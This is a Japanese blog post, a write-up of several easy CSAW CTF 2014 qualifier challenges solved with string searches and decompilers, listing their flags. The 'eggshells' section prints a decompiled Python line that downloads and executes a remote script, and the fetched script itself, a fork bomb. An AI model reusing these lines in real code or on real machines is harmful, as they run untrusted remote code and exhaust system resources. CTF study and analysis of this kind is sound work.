saltcandy123

CSAW CTF 2014 Qualification Round に参加しました

今年の CSAW CTF は、参加できる時間が限られていたので、基本に忠実にやりました。結局、あまり解けなかったのですが、折角なので writeup を書きます。

Writeup

bo (exploitation, 100 pt)

文字列検索です。

$ strings bo | grep flag\{
flag{exploitation_is_easy!}

eggshells (Reverse Engineering, 100 pt)

文字列検索です。

$ strings utils.pyc
urllib2s
http://kchung.co/lol.pyN(
__import__t
urlopent
read(
/Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.pyt
<module>

気づかなかった場合は pycdc という便利ツールを使います。

$ pycdc utils.pyc
# Source Generated with Decompyle++
# File: utils.pyc (Python 2.7)

exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()

いずれにしろ気づいてしまえば、素直にスクリプトをダウンロードするだけです。

$ curl http://kchung.co/lol.py
import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}

dumpster diving (Forensics, 100 pt)

文字列検索です。

$ strings firefox.mem | grep flag\{
ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}

Obscurity (Forensics, 200 pt)

文字列検索をやりますが PDF は圧縮されているのでテキストを抜き出す便利ツールを使います。

$ pdftotext pdf.pdf - | grep '\{'
  ag{security_through_obscurity}

もしくは、リンク隠しの要領で PDF を全選択します。

PDF をビューアで開いたときのスクリーンショット。 PDF には画像があるのみに見えていたが、テキストを全選択することによって画像の下に重なっていたテキストが明らかになっている。そのテキストは flag{security_through_obsecurity} である。

Shameless plug (Trivia, 10 pt)

ググります。 USENIX workshop education

それっぽい答えをサブミットしまくります。 答えは 3GSE です。

Twitter will you give me @kchung? (Trivia, 10 pt)

スタッフ紹介のページを見ると、答えが書いてあります。 poopsec

まとめ

大変残念な writeup が書き上がりましたが、もちろん、こんなに簡単に答えにたどり着いたわけではありません。つまり、色んな紆余曲折があったわけですが、答えを知った上でやり直してみると、簡単な問題はこんなにも簡単なのだな、という感じがします。

難しい問題にチャレンジすることは、もちろん重要だと思いますし、素晴らしい経験になると思います。しかし、競技として CTF を見た場合、簡単な問題をすらすら解ける能力というのも、大事であるように思われます。今後は、簡単な問題をすらすら解いて、難しい問題に時間を割けるようになりたいと思います。